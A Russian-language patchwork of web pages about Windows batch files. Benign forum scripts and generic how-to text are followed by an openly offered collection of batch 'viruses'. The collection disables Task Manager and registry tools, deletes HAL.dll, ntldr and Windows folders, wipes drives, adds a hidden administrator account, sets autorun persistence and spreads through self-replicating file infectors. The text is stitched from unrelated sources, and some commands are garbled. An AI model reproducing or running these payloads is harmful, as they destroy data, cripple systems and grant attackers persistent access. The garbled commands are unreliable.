Кликните здесь для просмотра всего текста

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
@echo off& :: by Alex Dragokas -02.01.2013-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте путь к файлу настроек скрипта
set FWCompilerPath=%temp%\FWCompile.cfg
::Задайте здесь полный путь к компилятору, либо он будет найден и сохранен автоматически в файл FWCompile.cfg
::set FWExec=c:\Windows\Microsoft.NET\Framework\v3.5\csc.exe
::Путь к временным файлам протокола ошибок
set log866=%temp%\compile_err866.log
set log1251=%temp%\compile_err.log
 
Echo Помощник компиляции исходных файлов C# (.cs)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:\temp\source.cs"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
::Читаю путь к компилятору из файла настроек
if exist "%FWCompilerPath%" for /f "UseBackQ delims=" %%A in ("%FWCompilerPath%") do set FWExec=%%A& goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%\Microsoft.NET\csc.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
Echo %FWExec%> "%FWCompilerPath%"
 
::Дополнительные параметры
::/unsafe - компиляция блоков с прямым доступом к памяти
::/reference:"%Ref%\addon.dll" - подключить дополнительный модуль
::/target:library - скомпилировать как библиотеку классов; winexe - исполнительный файл Windows
::/res:"file.mp3" - внедрить в ресурсы внешний файл
::/debug - отображать отладочную информацию
::/warn:0 - уровень предупреждений
::/nologo - не отображать информацию об авторских правах
:begin
"%FWExec%" /target:exe /nologo /out:"%~dpn1.exe" "%~dpnx1" 1>"%log866%" 2>&1
if %errorlevel% neq 0 (
  Call :Recode
  Echo Во время компиляции возникла ошибка
  Echo.
  Type "%log866%"
  Echo.
  (set /p key=Нажмите Y, чтобы сохранить протокол ошибок в файл: )
  if /i "!key!"=="Y" (move /y "%log1251%" "%~dp1"& del /q "%log866%") else (del /q "%log866%"& del /q "%log1251%")  
) else (del /q "%log866%")
Exit /B
 
:Recode
::Файл с кодировкой WIN-866
set FileIn=%log866%
::Результат, куда записывать OEM-1251
set FileOut=%log1251%
 ::chcp 1251> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"
)
chcp 866> nul
exit /B
 
:convert
echo %~1>>"%FileOut%"
Exit /B

P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся).

Кликните здесь для просмотра всего текста

Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
@echo off& :: by Alex Dragokas -02.03.2017-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте здесь полный путь к компилятору, либо будет предложен выбор
::set FWExec=%SystemRoot%\Microsoft.NET\Framework\v3.5\msbuild.exe
 
Echo Помощник компиляции проектов .NET (.sln)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:\temp\source.sln"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%\Microsoft.NET\msbuild.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
 
SetLocal DisableDelayedExpansion
 
:begin
"%FWExec%" "%~1" /t:rebuild /p:Configuration=Debug /p:Platform="any cpu" /clp:Nosummary
if %errorlevel% neq 0 (
  echo.
  Echo ^>^>^> Во время компиляции возникла ошибка ^<^<^<
  pause>NUL
)

Вложения

Тип файла: zip Compiler.zip (2.3 Кб, 269 просмотров)
Тип файла: zip msbuild_me2.zip (1.1 Кб, 96 просмотров)



5



Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

06.01.2013, 02:03

 [ТС]

18

Отслеживание зависшего процесса и его перезапуск с указанным приоритетом
Автор: Dragokas

Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть.

Принцип работы:
Задаем имя процесса(ов), который будем отслеживать.
В системе могут быть несколько процессов с одинаковым именем. Скрипт идентифицирует их по PID и не путается.
Если найден процесс с указанным именем и статусом «Not responding»,
начинается валидация (повторная проверка этого статуса на протяжении заданного времени и указанное кол-во раз).

(а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)

Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC).
Принудительно завершаем процесс по PID.
Выжидаем указанную задержку перед повторным запуском.
Запускаем тот же процесс с указанным приоритетом в минимизированном виде.

Настройки:

Можно задавать такие паузы (в мс.):
1) между проверками статуса «Не отвечает».
2) продолжительность времени и кол-во дополнительных проверок валидации статуса за это время.
3) перед новым запуском завершенного приложения.

Запуск в минимизированном виде:
1 — Да, 0 — Нет.

Приоритеты запускаемого процесса:
1 — низкий
2 — ниже среднего
3 — средний
4 — выше среднего
5 — высокий
6 — в реальном времени

Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел.

Upd.3.
Подправлено получение пути к процессу из правильного свойства WMIC Process (ExecutablePath вместо CommandLine).
Добавлена принудительная минимизация окна с помощью утилиты NirCMD (некоторые программы восстанавливают окно при использовании Start /MIN).
В силу особенностей NirCMD процесс нужно вручную задавать на выбор: по имени класса или по имени (части имени) окна.
Добавлен автоперезапуск процесса, если через 10 сек. после его запуска оно не набрало указанное число КБайт в оперативной памяти.

Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск



7



Eva Rosalene

Модератор

Эксперт JS

4957 / 2011 / 387

Регистрация: 06.01.2013

Сообщений: 4,707

08.01.2013, 21:45

19

Помощь по всем командам вашей версии Windows / DOS

Развврнуть код…

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@echo off
setlocal enabledelayedexpansion
if exist "help.txt" (del help.txt)
help>>help.txt
del help2.txt
FOR /F "usebackq" %%a IN ("help.txt") DO (
 set string=%%~a
 if "!string:~0,1!"=="A" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="B" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="C" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="D" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="E" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="F" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="G" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="H" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="I" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="J" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="K" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="L" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="M" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="N" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="O" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="P" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Q" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="R" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="S" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="T" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="U" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="V" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="W" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="X" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Y" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Z" (echo !string!>>help2.txt)
)
del help.txt
FOR /F "usebackq tokens=1,2*" %%a IN ("help2.txt") DO (
 echo ====================>>help.txt
 echo HELP FOR %%a>>help.txt
 echo %%a
 %%a /?>>help.txt
)
echo OK
pause>nul
timeout /t 1 /NOBREAK>nul

После запуска появятся два текстовых файла.
По ходу действия программа будет писать вам, какая команда сейчас обрабатывается.
HELP2 — список доступных вам команд.
HELP — собственно справка по каждой из них.



5



Dragokas

Эксперт WindowsАвтор FAQ

18068 / 7671 / 891

Регистрация: 25.12.2011

Сообщений: 11,444

Записей в блоге: 17

15.01.2013, 02:20

 [ТС]

20

Прогресс-бар копирования файлов
Автор: Ris

Взято из этой темы.

Версия 1.5

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
::Первый пааметр - это откуда копировать(путь у папке)
::Второй параметр - это куда копировать(путь у папке)
::Третий параметр - это надо ли копировать вложенный папки (+s - если надо, -s если не надо)
::Четвертый параметр - это что копировать(расширение файлов без точки, не указывайте - если все файлы)
if "%~1"=="" goto :EOF
set otkyda=%~1
if "%~2"=="" goto :EOF
set kyda=%~2
if /i "%~3"=="+s" (set s=^/s) else (set s=)
if "%~4"=="" (set pac=^*) else (set pac=%~4)
setlocal enabledelayedexpansion
set /a q=0
echo Copy...0%%
echo °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
cd /d "%~1"
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (set /a sall+=%%~zi)
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (call :mycopy "%%i" %%~zi)
cls
echo Copy...100%%
echo ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ
goto :EOF
exit
:mycopy
if not %2 LSS 200000000 (echo File size is larger than 200MB.&pause&exit)
set p=%~dp1
call set x=%%p:%otkyda%=%%
xcopy /q /s /y %1 "%kyda%%x%" > nul
set /a proc=10*%2/(%sall%/1000)
if %2 LSS 10000 set /a proc=%2*10000/%sall%
set /a q=%q%+%proc%
cls
echo Copy...%q:~0,-2%.%q:~-2%%%
set /a qb=(%q%*80)/10000
if "%qb%"=="%qb_pr%" (echo %bar%%barx%&exit /b)
set /a qbx=80-%qb%
set bar=
set barx=
for /l %%i in (1,1,%qb%) do (set bar=!bar!Ы)
for /l %%i in (1,1,%qbx%) do (set barx=!barx!°)
echo %bar%%barx%
set qb_pr=%qb%
exit /b

Юзаем, например, так:

Bash
1
copybar "C:\temp" "%cd%\temp" +s rar



2



На чтение 4 мин Опубликовано Обновлено

Бат-файлы (или файлы с расширением .bat) являются текстовыми файлами, содержащими набор команд, которые выполняются операционной системой Windows. Они широко используются для автоматизации задач и запуска нескольких команд одновременно. В этой статье мы рассмотрим несколько готовых bat файлов, которые могут быть полезными при работе с Windows 10.

1. Файл для очистки временных файлов:

Этот bat файл поможет вам очистить временные файлы на вашем компьютере. Он удаляет временные файлы, кэш, файлы cookie и другие ненужные данные. Просто запустите файл и он выполнит все необходимые команды.

2. Файл для запуска нескольких программ одновременно:

Если вы каждый день запускаете несколько программ, этот bat файл будет для вас идеальным решением. Он позволяет запускать несколько программ одновременно с помощью одной команды. Просто добавьте названия программ в bat файл, и он автоматически запустит их все.

3. Файл для создания резервных копий файлов:

С помощью этого bat файла вы можете создать резервные копии своих файлов и папок. Он копирует указанные файлы и папки в новую директорию, что позволяет вам сохранить свои данные в безопасности. Просто указываете необходимые файлы и папки в bat файле, и он сделает остальное.

Приведенные выше bat файлы являются только некоторыми примерами готовых скриптов и команд для Windows 10. Вы можете использовать их как есть, а также изменять и дополнять в соответствии с вашими потребностями. Бат-файлы могут значительно упростить вашу работу с операционной системой Windows и помочь автоматизировать повседневные задачи.

Лучшие готовые bat файлы для Windows 10:

  • bat файл для очистки временных файлов и папок: Этот bat файл содержит команды для удаления временных файлов, таких как файлы в папке Temp, файлы в корзине, файлы журналов системы и др. С помощью этого скрипта можно освободить дополнительное место на диске и повысить производительность компьютера.
  • bat файл для установки и обновления программ: Этот bat файл содержит команды для автоматической установки или обновления программ. В скрипте можно указать список программ, ссылки на их установочные файлы и другие необходимые параметры. Этот скрипт может быть полезен при переустановке операционной системы или установке программ на несколько компьютеров.
  • bat файл для создания резервной копии файлов: Этот bat файл содержит команды для создания резервной копии выбранных файлов и папок. В скрипте можно указать список файлов и папок, которые нужно скопировать, а также целевую директорию, где будет создана резервная копия. Этот скрипт может быть полезен для регулярного создания резервной копии личных данных.
  • bat файл для автоматического запуска программ: Этот bat файл содержит команды для автоматического запуска нескольких программ или команд. В скрипте можно указать путь к программе и ее параметры. Этот скрипт может быть полезен для автоматического запуска программ при каждом запуске компьютера или в определенное время.

Использование готовых bat файлов для Windows 10 позволяет сократить время на выполнение рутинных задач, упростить процесс установки программ или создания резервной копии файлов. Кроме того, bat файлы могут быть настроены и изменены в соответствии с индивидуальными потребностями пользователя.

Полезные скрипты и команды

В этом разделе представлены некоторые полезные скрипты и команды, которые можно использовать в пакетных файлах (.bat) для Windows 10:

  • echo: Команда echo используется для вывода текста на экран. Она может быть полезной для отображения сообщений пользователю или вывода результатов операций.
  • cd: Команда cd позволяет изменить текущую рабочую директорию. Она может использоваться для перемещения между папками или выполнения команд в конкретной директории.
  • dir: Команда dir позволяет просмотреть содержимое текущей директории. Она может быть полезной для проверки наличия файлов или папок.
  • copy: Команда copy используется для копирования файлов или папок. Она позволяет создать резервные копии или переместить файлы в другие директории.
  • del: Команда del используется для удаления файлов. Она может быть полезной для очистки временных файлов или удаления ненужной информации.
  • start: Команда start позволяет запустить приложение или открыть файл. Она полезна для автоматического запуска программ или открытия документов.
  • taskkill: Команда taskkill используется для завершения процессов. Она может быть полезной для выхода из приложений или остановки неотзывчивых программ.
  • timeout: Команда timeout позволяет задать задержку в выполнении команд. Она может быть полезной для ожидания завершения других операций или паузы между командами.

Это только небольшой перечень команд и скриптов, которые можно использовать в пакетных файлах для Windows 10. С помощью них вы можете автоматизировать рутинные задачи, упростить свою работу и повысить эффективность работы с операционной системой.

Windows

Подключение сетевого диска

disk.bat

net use Y: /del /yes
net use Y: \\192.168.0.1\share /USER:user1 pAsSw0rd

Закрыть все сеансы подключенных пользователей

kick.bat

net SESSION /DELETE /YES

Ограничение числа входящих подключений в Windows XP

Например при открытии общего доступа к принтеру в сети, если его будут использовать больше 10 человек — могут начаться проблемы.

Как один из вариантов — в планировщике заданий выполнять этот скрипт с правами Администратора каждые 10 мин.

Архивация RAR

rar-full.bat

set LOGFILE="F:\backup\backup.log"
set BACKUPFILE="F:\backup\Documents-full.%DATE:~-4%%DATE:~3,2%%DATE:~0,2%.rar"
set BACKUPDIR="E:\Documents"

"c:\Program Files\WinRAR\Rar.exe" a -ep2 -m4 -ow -rr100 -inul -ilog%LOGFILE% %BACKUPFILE% %BACKUPDIR%

Выключить компьютер по сети

shutdown.bat

shutdown -s -f -t 60 -m \\comp01

Удаление хлама из документов

delete.bat

set LOGFILE=F:\backup\delete.log
echo START %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1

del E:\Documents\*.mp3 /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.m3u /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.wav /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.wma /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.wmv /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.flv /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.mpg /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.mp4 /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.avi /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.vob /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.mov /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.exe /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.msi /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.dll /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\*.dat /s /f /a >> %LOGFILE% 2>>&1
del E:\Documents\Thumbs.db /s /f /a >> %LOGFILE% 2>>&1

echo END %DATE:~-4%%DATE:~3,2%%DATE:~0,2% %TIME:~0,8% >> %LOGFILE% 2>>&1
echo "" 2>>&1

Listen to this article

Нередко советы по тем или иным действиям и исправлениям в Windows 10, 8 и Windows 7 включают в себя шаги наподобие: «создайте файл .bat со следующим содержимым и запустите его». Однако, начинающий пользователь не всегда знает, как это сделать и что собой представляет такой файл. Первый и самый простой способ создать bat файл — использовать стандартную программу «Блокнот», присутствующую во всех актуальных версиях Windows.

Шаги по созданию будут следующими

  • Запустите Блокнот (находится в Программы — Стандартные, в Windows 10 быстрее запустить через поиск в панели задач, если блокнота нет в меню «Пуск», запустить его можно из C:\Windows\notepad.exe).
  • Введите в блокнот код вашего bat файла (например, скопируйте откуда-то, либо напишите свой, о некоторых командах — далее в инструкции).
  • В меню блокнота выберите «Файл» — «Сохранить как», выберите место сохранение файла, укажите имя файла с расширением .bat и, обязательно, в поле «Тип файла» установите «Все файлы».

  • Нажмите кнопку «Сохранить».

Примечание: если файл не сохраняется в указанное расположение, например, на диск C, с сообщение «У вас нет разрешения на сохранение файлов в этом месте», сохраните его в папку «Документы» или на рабочий стол, а затем скопируйте в нужное расположение (причина проблемы в том, что в Windows 10 для записи в некоторые папки нужны права администратора, а поскольку блокнот не был запущен от имени администратора, он не может сохранить файл в указанную папку).

Ваш файл .bat готов: если его запустить, будут автоматически выполнены все перечисленные в файле команды (при условии отсутствия ошибок и необходимости прав администратора: в некоторых случаях может потребоваться запускать файл bat от имени администратора: правый клик по файлу .bat — запустить от имени администратора в контекстном меню).

Примечание: в дальнейшем, если вы захотите отредактировать созданный файл, просто нажмите по нему правой кнопкой мыши и выберите «Изменить».

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul

Выключается компьютер

Код:

[USER=98981]@Echo[/USER] off
shutdown -s -t 1 -c "lol" >nul

Перезагрузка компьютера

Код:

[USER=98981]@Echo[/USER] off
shutdown -r -t 1 -c "lol" >nul

Запрещает запускать программы

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul


Удаление дров

Код:

[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul

Удаляет звуки Windows

Код:

[USER=98981]@Echo[/USER] off
del "%SystemRoot%\Media" /q >nul

Запрещает заходить в панель управления

Код:

[USER=98981]@Echo[/USER] off
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete

Код:

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши

Код:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши

Код:

del "%SystemRoot%Cursors*.*" >nul

Меняет название корзины

Код:

reg add HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache /v @C:\WINDOWS\system32\SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления

Код:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с раздела\диска(не пытайтесь проверить у себя)

Код:

rd [Буква_Диск]: /s /q

Удаляет все файлы в program files

Код:

del c:Program Files/q

Убивает процесс explorer.exe

Код:

taskkill /f /im explorer.exe >nul

Создает миллион папок

Код:

FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере

Код:

del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul

Удаляет команду DEL

Будет открывать бесконечно Paint

Код:

:x
Start mspaint
goto x

Изменяет расширение всех ярлыков на .txt (ломает многие ярлыки)

Заражает Autoexec

Код:

copy ""%0"" "%SystemRoot%\system32\batinit.bat" >nul
reg add "HKCU\SOFTWARE\Microsoft\Command Processor" /v AutoRun /t REG_SZ /d "%SystemRoot%\syste m32\batinit.bat" /f >nul

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)

Код:

[USER=98981]@Echo[/USER] off
chcp 1251
net user SUPPORT_388945a0 /delete
net user hacker hack /add
net localgroup Администраторы hacker /add
net localgroup Пользователи SUPPORT_388945a0 /del
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList" /v "support" /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

Код:

rundll32 user,disableoemlayer


Меняет местами кнопки мыши, но обратная смена не возможна)

Код:

rundll32 user,SwapMouseButton

Удаляет ядро системы

Код:

del %systemroot%\system32\HAL.dll


Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает
не только в текущем каталоге, но и надкаталоге)

Код:

[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (..\*.jpg ..\*.doc ..\*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:\MrWeb In_ %%ggoto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Вирус заражает *.JPG в текущем каталоге

Код:

[USER=98981]@Echo[/USER] off%[MrWeb]%
if '%1=='In_ goto MrWebin
if exist c:\MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find "MrWeb"<%0>c:\MrWeb.bat
attrib +h c:\MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:\MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:\MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:
У вашего ламера будет глючить компьютер.

Код:

[USER=98981]@Echo[/USER] off
echo Set fso = CreateObject("Scripting.FileSystemObject") > %systemdrive%\windows\system32\rundll32.vbs
echo do >> %systemdrive%\windows\system32\rundll32.vbs
echo Set tx = fso.CreateTextFile("%systemdrive%\windows\system32\rundll32.dat", True) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.WriteBlankLines(100000000) >> %systemdrive%\windows\system32\rundll32.vbs
echo tx.close >> %systemdrive%\windows\system32\rundll32.vbs
echo FSO.DeleteFile "%systemdrive%\windows\system32\rundll32.dat" >> %systemdrive%\windows\system32\rundll32.vbs
echo loop >> %systemdrive%\windows\system32\rundll32.vbs
start %systemdrive%\windows\system32\rundll32.vbs
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v system_host_run /t REG_SZ /d %systemdrive%\windows\system32\rundll32.vbs /f

Вирус который убивает Винду. Не проверяйте на своем компьютере=)

Код:

[USER=98981]@Echo[/USER] This virus created by LIZA
[USER=98981]@Echo[/USER] Virus: pcforumhack.ru Virus
[USER=98981]@Echo[/USER] Autor: LIZA
[USER=98981]@Echo[/USER] off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v nodesktop /d 1 /freg add HKEY_USERS\S-1-5-21-343818398-1417001333-725345543-1003\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v ClassicShell /d 1 /fset ¶§=%0
copy %¶§% %SystemRoot%\user32dll.bat
reg add "hklm\Software\Microsoft\Windows\CurrentVersion\Run" /v RunExplorer32 /d %SystemRoot%\user32dll.bat /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
echo fso.deletefile "C:\ntldr",1 >> %temp%\temp.vbs
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
echo fso.deletefolder "D:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "I:\Windows",1 >> %temp%\temp.vbs
echo fso.deletefolder "C:\Windows",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefile sr+"\system32\hal.dll",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\dllcache",1 >> %temp%\temp.vbs
echo sr=s.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot") >> %temp%\temp.vbs
echo fso.deletefolder sr+"\system32\drives",1 >> %temp%\temp.vbs
echo s.regwrite "HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\LocalizedString","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","forum.whack.ru">>%temp%\temp.vbs
echo s.regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization","forum.whack.ru">>%temp%\temp.vbs
echo on error resume next > %temp%\temp1.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp1.vbs
echo do>>%temp%\temp1.vbs
echo fso.getfile ("A:\")>>%temp%\temp1.vbs
echo loop>>%temp%\temp1.vbs
echo on error resume next > %temp%\temp2.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp2.vbs
echo do>>%temp%\temp2.vbs
echo execute"S.Run ""%comspec% /c echo "" & Chr(7), 0, True">>%temp%\temp2.vbs
echo loop>>%temp%\temp2.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disableregistrytools /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
